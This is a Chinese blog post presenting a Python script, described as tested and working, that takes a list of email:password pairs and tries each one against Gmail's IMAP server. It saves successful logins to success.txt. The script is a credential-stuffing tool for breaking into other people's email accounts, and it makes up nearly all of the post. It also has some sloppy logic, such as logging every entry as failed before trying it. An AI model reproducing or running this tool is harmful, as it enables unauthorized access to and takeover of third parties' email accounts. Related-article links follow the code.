Python实现在线暴力破解邮箱账号密码功能示例【测试可用】


Posted in Python onSeptember 06, 2017

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :

username@gmail.com:password
username@gmail.com:password
username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
  Success_File = open('success.txt', 'a')
  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
  Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
  Fail_File = open('fail.txt', 'a')
  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
  Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
 strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
 strUserName, strPassWord = strAccountPwd.split(':', 1)
 return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
 global GLOBAL_WORKING_THREAD_MUTEX_LOCK
 global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
 if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
  print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
  print('IMAP INDEX-------', IndexGmail)
  print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
  try:
   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
  except GmailImap4.error :
   print('Logical errors - debug required')
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.abort :
   print('Service errors - close and retry')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.readonly:
   print('Mailbox status changed to read only')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  if (ResponseStatus[0] == 'OK'):
   print('LOGIN SUCCESS')
   Write_Save_Success_Gmail_Jobs(IndexGmail)
   GmailImap4.logout()
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  else:
   GmailImap4.close()
   print('LOGIN FAIL')
   print(ResponseStatus)
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
 else:
  return
# define global function
class Working_Zone_Thread(threading.Thread):
 m_IndexStart = 0
 m_IndexEnd = 0
 def __init__(self, numEnd):
  self.m_IndexEnd = numEnd
  threading.Thread.__init__(self)
 def run(self): # run process
  while True:
   if self.m_IndexStart < self.m_IndexEnd:
    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
    self.m_IndexStart = self.m_IndexStart + 1
   else:
    break
 def _delete(self):
  threading.Thread._delete(self)
  print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
 IndexStart = 0
 print('--------read----star--')
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
 global GMAIL_BYTES_READED_TOTAL_SIZE
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
 File_Read = open('mail.txt', 'r', encoding='UTF-8')
 File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
 while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
  line = File_Read.readline()
  if line:
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
   CbBytes = line.__len__()
   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
   IndexStart = IndexStart + 1
  else:
   GLOBAL_READ_FINISH_STATUS_SUCCESS = True
   break
 print('gmail read num ', IndexStart)
 File_Read.close()
 print('---------read----end--')
# main entry
if __name__ == '__main__':
 print('Main Thread Start : ')
 while True:
  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
   Read_Send_Single_Func()
   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
   wzt.start()
   wzt.join()
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
  else:
   print('data has run out : ')
   break
 print('Main Thread End : ')

更多关于Python相关内容可查看本站专题:《Python Socket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》

希望本文所述对大家Python程序设计有所帮助。

Python 相关文章推荐
浅析Python3爬虫登录模拟
Feb 07 Python
Python基于更相减损术实现求解最大公约数的方法
Apr 04 Python
异步任务队列Celery在Django中的使用方法
Jun 07 Python
python3安装speech语音模块的方法
Dec 24 Python
python3实现钉钉消息推送的方法示例
Mar 14 Python
在python里面运用多继承方法详解
Jul 01 Python
Python完成哈夫曼树编码过程及原理详解
Jul 29 Python
用Pelican搭建一个极简静态博客系统过程解析
Aug 22 Python
Python使用selenium + headless chrome获取网页内容的方法示例
Oct 16 Python
python调用Matplotlib绘制分布点图
Oct 18 Python
简单介绍django提供的加密算法
Dec 18 Python
Python selenium爬取微博数据代码实例
May 22 Python
Python基于回溯法子集树模板解决旅行商问题(TSP)实例
Sep 05 #Python
Python基于回溯法子集树模板实现图的遍历功能示例
Sep 05 #Python
Python数据结构与算法之图结构(Graph)实例分析
Sep 05 #Python
利用Python将时间或时间间隔转为ISO 8601格式方法示例
Sep 05 #Python
python进程管理工具supervisor的安装与使用教程
Sep 05 #Python
基于Django模板中的数字自增(详解)
Sep 05 #Python
用python结合jieba和wordcloud实现词云效果
Sep 05 #Python
You might like
php全局变量和类配合使用深刻理解
2013/06/05 PHP
PHP判断指定时间段的2个方法
2014/03/14 PHP
php从数据库查询结果生成树形列表的方法
2015/04/17 PHP
javascript Array.sort() 跨浏览器下需要考虑的问题
2009/12/07 Javascript
js控制的遮罩层实例介绍
2013/05/29 Javascript
多个$(document).ready()的执行顺序实例分析
2014/07/26 Javascript
使用JavaScript的AngularJS库编写hello world的方法
2015/06/23 Javascript
js表单处理中单选、多选、选择框值的获取及表单的序列化
2016/03/08 Javascript
微信支付 JS API支付接口详解
2016/07/11 Javascript
JavaScript数据类型学习笔记分享
2016/09/01 Javascript
js实现复制功能(多种方法集合)
2018/01/06 Javascript
Vue打包后出现一些map文件的解决方法
2018/02/13 Javascript
原生JS实现自定义下拉单选选择框功能
2018/10/12 Javascript
Element UI框架中巧用树选择器的实现
2018/12/12 Javascript
分享一个vue项目“脚手架”项目的实现步骤
2019/05/26 Javascript
JavaScript实现PC端横向轮播图
2020/02/07 Javascript
简单了解vue 插值表达式Mustache
2020/07/22 Javascript
Python采用socket模拟TCP通讯的实现方法
2014/11/19 Python
自己编程中遇到的Python错误和解决方法汇总整理
2015/06/03 Python
Python数据可视化编程通过Matplotlib创建散点图代码示例
2017/12/09 Python
纯python实现机器学习之kNN算法示例
2018/03/01 Python
特征脸(Eigenface)理论基础之PCA主成分分析法
2018/03/13 Python
django 开发忘记密码通过邮箱找回功能示例
2018/04/17 Python
对python多线程中互斥锁Threading.Lock的简单应用详解
2019/01/11 Python
python 标准差计算的实现(std)
2019/07/29 Python
浅析Python语言自带的数据结构有哪些
2019/08/27 Python
pyCharm 设置调试输出窗口中文显示方式(字符码转换)
2020/06/09 Python
HTML5标签与HTML4标签的区别示例介绍
2013/07/18 HTML / CSS
W Concept美国:精选全球独立设计师
2017/02/22 全球购物
意大利时尚奢侈品店:D’Aniello Boutique
2021/01/19 全球购物
新西兰Bookabach:查找全球度假屋
2020/12/03 全球购物
大专生自荐信
2013/10/04 职场文书
生产厂厂长岗位职责
2013/12/25 职场文书
高校辅导员推荐信范文
2013/12/25 职场文书
汽车专业求职信
2014/06/05 职场文书
感动中国何玥观后感
2015/06/02 职场文书